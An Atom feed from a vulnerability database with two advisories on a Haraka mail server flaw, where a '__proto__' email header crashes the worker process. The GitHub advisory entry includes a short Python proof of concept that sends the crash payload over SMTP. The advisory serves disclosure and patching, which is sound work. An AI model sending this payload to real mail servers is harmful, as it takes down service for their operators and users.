<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-09-30T23:07:41.328027+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/cve-2026-34752</id>
    <title>CVE-2026-34752 — Haraka affected by DoS via `__proto__` email header</title>
    <updated>2026-09-30T23:07:43.001403+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Haraka</p>
<p>Haraka is a Node.js mail server. Prior to version 3.1.4, sending an email with __proto__: as a header name crashes the Haraka worker process. This issue has been patched in version 3.1.4.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/cve-2026-34752"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-xph3-r2jf-4vp3</id>
    <title>GHSA-xph3-r2jf-4vp3 — Haraka affected by DoS via `__proto__` email header</title>
    <updated>2026-09-30T23:07:43.001542+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: Haraka</p>
<p>### Summary</p>
<p>Sending an email with `__proto__:` as a header name crashes the Haraka worker process.</p>
<p>### Details</p>
<p>The header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:</p>
<p>```javascript
_add_header(key, value, method) {
    this.headers[key] ??= []          // line 216
    this.headers[key][method](value)  // line 217
}
```</p>
<p>When `key` is `__proto__`:
1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter)
2. `Object.prototype` is not null/undefined, so `??=` is skipped
3. `Object.prototype.push(value)` throws `TypeError: not a function`</p>
<p>The TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:</p>
<p>```js
process.on('uncaughtException', (err) =&gt; {
    if (err.stack) {
        err.stack.split('\n').forEach((line) =&gt; logger.crit(line))
    } else {
        logger.crit(`Caught exception: ${JSON.stringify(err)}`)
    }
    logger.dump_and_exit(1)
})
```</p>
<p>### PoC</p>
<p>```python
import socket, time</p>
<p>sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect(("127.0.0.1", 2525))
sock.recv(4096)
sock.sendall(b"EHLO evil\r\n"); sock.recv(4096)
sock.sendall(b"MAIL FROM:&lt;x@x.com&gt;\r\n"); sock.recv(4096)
sock.sendall(b"RCPT TO:&lt;user@haraka.local&gt;\r\n"); sock.recv(4096)
sock.sendall(b"DATA\r\n"); sock.recv(4096)
# Crash payload
sock.sendall(b"From: x@x.com\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n")
```</p>
<p>### Impact</p>
<p>In single-…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-xph3-r2jf-4vp3"/>
  </entry>
</feed>
